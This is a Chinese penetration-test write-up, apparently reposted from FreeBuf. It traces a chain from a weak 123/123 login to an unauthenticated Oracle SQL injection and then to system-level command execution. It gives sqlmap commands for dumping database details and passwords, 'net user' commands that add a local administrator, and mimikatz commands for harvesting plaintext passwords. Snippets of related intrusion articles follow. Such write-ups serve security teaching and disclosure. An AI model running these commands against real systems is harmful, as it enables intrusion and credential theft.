实战|一次从弱口令到getshell

VSole2022-07-15 08:56:31

这是个人认为近期比较有价值的一次渗透测试,分享给大家。

主要分为4个步骤:弱口令进入系统;后台sql注入;getshell,远程RDP管理员登录;扩大战果,证明危害。

0x01 弱口令

在一次针对某站点信息收集的过程中,通过子域名扫描,扫描到某个老旧系统。

一看这都2014年的老站了,肯定有搞头!

日常使用burp爆破一波试试,没爆破出来

但是随手一试,好家伙123/123进入系统,属于是运气拉满了

(高强度打码)

这里能看到是一个“编辑”人员的权限,并没有什么上传等后台管理的功能,只能耐心过一遍系统的各种功能。

0x02 SQL注入

进入系统翻一翻,没有什么敏感信息泄露,但是在一处查询人员信息的接口发现了SQL注入(xray被动扫描扫出来的)

http://host.com/xxx/control/SearchMenHunInfo?content=123

这时想要手工验证一下,发现甚至不需要后台cookie就能直接访问该接口,相当于还存在未授权访问漏洞。

那这sqlmap一把梭,--cookie参数都不用加了

python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --current-db

这里跑出了库名,还能看到这是一个Oracle数据库。打算继续拿shell试试。

但是在我日常渗透过程中,Oracle数据库并不常见,sqlmap中--os-shell参数还是不支持Oracle数据库的,只能现学现卖一波。

0x03 getshell

首先参考了这篇文章 Oracle注入 - 命令执行&Shell反弹

文章中介绍到以下版本的Oracle在发现注入后可以命令执行

那么再用sqlmap查看一下Oracle版本

python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" -b

看来是符合可以命令执行的版本的!

又经历了一波漫长的学习,发现了github一个大佬已经集成好的工具 oracleShell oracle 数据库命令执行

工具截图如下

可以看出,我们还需要知道数据库的SID,用户名,密码,就可以尝试执行命令。

那么就继续利用sqlmap来扩大我们已知信息。

查看数据库权限--is-dba

查看数据库IP,SID

这里进入sqlmap的--sql-shell模式,用sql语句来查询

查询SID:select instance_name from v$instance

查询当前IP:select sys_context('userenv','ip_address') from dual

爆破所有数据库账号、密码

使用sqlmap的--passwords参数,跑出数据库的所用用户名和对应的密码

经过漫长的等待,终于有了结果(这里给出的是虚构的数据)

database management system users password hashes:
[*] ANONYMOUS [1]:
    password hash: anonymous
[*] HR [1]:
    password hash: 6399F3B38EDF3288
[*] SYS [1]:
    password hash: 4DE42795E66117AE
[*] SYSMAN [1]:
    password hash: B607EEBB3A2D36D0
[*] SYSTEM[1]:
    password hash: 8877FF8306EF558B
    clear-text password: SYS

可以看到有些用户名只得到了对应的哈希,但是其中一个用户名system成功跑出了明文密码!

查询Oracle常用端口

Oracle确实不熟悉,百度查一波端口:

查询发现,服务端默认的端口号一般是389,客户端默认的端口号一般都是1521

OK!现在已经拥有了IP,PORT,SID,用户名(SYSTEM),密码(SYS),可以直接使用工具连接了。

一切顺利!取得了system权限!

0x04 进一步证明危害

创建个用户试试

net user name pwd /add

net localgroup Administrators name /add

远程桌面RDP连接 name/pwd

连接成功!

上传一个mimikatz,抓取管理员明文密码

privilege::debug

sekurlsa::logonPasswords

最终成功登录Administrator账号RDP

至此,渗透结束。

总结

弱口令->sql注入->getshell->拿下管理员权限

从一个常见的弱口令,到拿下管理员权限,这个过程需要运气和耐心,把这次经历拿出来分享一下。

在强调一下本次漏洞详情均已提交,渗透需规范!

大三信息安全专业学生的一篇文章,如有错误还请多多指教!(再不写文章就成大四了^^)

本文作者:Jerrytqq, 转载请注明来自FreeBuf.COM

弱口令sqlmap
本作品采用《CC 协议》,转载必须注明作者和本文链接
这是个人认为近期比较有价值的一次渗透测试,分享给大家。 主要分为4个步骤:口令进入系统;后台sql注入;getshell,远程RDP管理员登录;扩大战果,证明危害。
0x00 目标情况一个web站点111.*.*.63,只有一个登陆框,测试了没有注入,没有口令,扫描了全端口,没有发现什么有用的信息。0x02 找网站绝对路径判断是不是dba权限uname=test';if(1=(select?判断是否是站库分离uname=test';if?sqlmap查看建表成功,sqlmap -r 1.txt --dbms "Microsoft SQL Server" -D "tempdb" --tables查找网站文件并把路径写入到表tt_tmp. python sqlmap.py -r 1.txt --dbms="Microsoft SQL Server" --technique=S -D "tempdb" -T "tt_tmp" -C "tmp1" --dump -v 30x03 尝试在111.*.*.59主机getshell尝试写一句话先在下面的路径中写入txt文件验证网站路径到底是哪一个D:\bak\20170226\bak\20170403.2\webapp\Content\layer\. 依次写文件然后访问,在写入?
不甘心,案例找不出来,我把代码审计一遍还不行吗?于是就通过webshell打包了一份代码,于是便有了这篇文章。0x02 漏洞利用还是先简单聊聊sql注入如何拿下内网的吧。因此可以下定结论,该漏洞在未经授权就可被利用。
不甘心,案例找不出来,我把代码审计一遍还不行吗?于是就通过webshell打包了一份代码,于是便有了这篇文章。0x02 漏洞利用还是先简单聊聊sql注入如何拿下内网的吧。因此可以下定结论,该漏洞在未经授权就可被利用。
Scanners-Box 指引#简介#Scanners-Box是一个集合github平台上的安全行业从业人员自研开源扫描器的仓库,包括子域名枚举、数据库漏洞扫描、口令或信息泄漏扫描、端口扫描、指纹识别以及其他大型扫描器或模块化扫描器;该仓库只收录各位网友自己编写的一般性开源扫描器,类似nmap、w3af、brakeman等知名扫描工具不收录。
0x00前言 接到任务,需要对一些违法网站做渗透测试…… 0x01信息收集 根据提供的目标,打开网站如下
0x00前言接到任务,需要对一些违法网站做渗透测试……最终定位到该系统为某网络验证系统下载最新版的代码到本地,开始审计。
VSole
网络安全专家